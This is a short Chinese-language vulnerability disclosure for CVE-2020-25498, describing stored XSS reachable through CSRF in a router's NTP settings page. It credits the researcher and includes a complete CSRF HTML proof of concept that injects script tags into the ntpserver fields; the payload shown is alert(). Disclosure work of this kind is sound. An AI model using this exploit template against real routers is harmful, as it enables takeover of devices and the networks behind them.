已确认,易受攻击的端点没有服务器端输入验证,也缺乏针对任何恶意脚本注入的客户端过滤。攻击者可以利用此漏洞在端点中注入恶意脚本,并且在用户每次打开该易受攻击的端点时,脚本都会被激活。攻击者可以发送带有 POST 请求负载的恶意 URL,通过 CSRF 在管理员模块中执行 XSS,从而接管设备,并最终接管整个网络。
研究人员: Sayli Ambure (https://twitter.com/sayli_ambure)
MITRE CVE 链接: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25498
CSRF HTML 代码:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/form2ntp.cgi" method="POST">
<input type="hidden" name="ntpstate" value="Enable" />
<input type="hidden" name="ntpserver" value='google.com"><script>alert(1)</script>' />
<input type="hidden" name="ntpserver2" value='google.com"><script>alert(2)</script>' />
<input type="hidden" name="ntpinterval" value="1" />
<input type="hidden" name="ntptimezone" value="330" />
<input type="hidden" name="submit.htm?time.htm" value="Send" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
参数:服务器名称
参数:关键字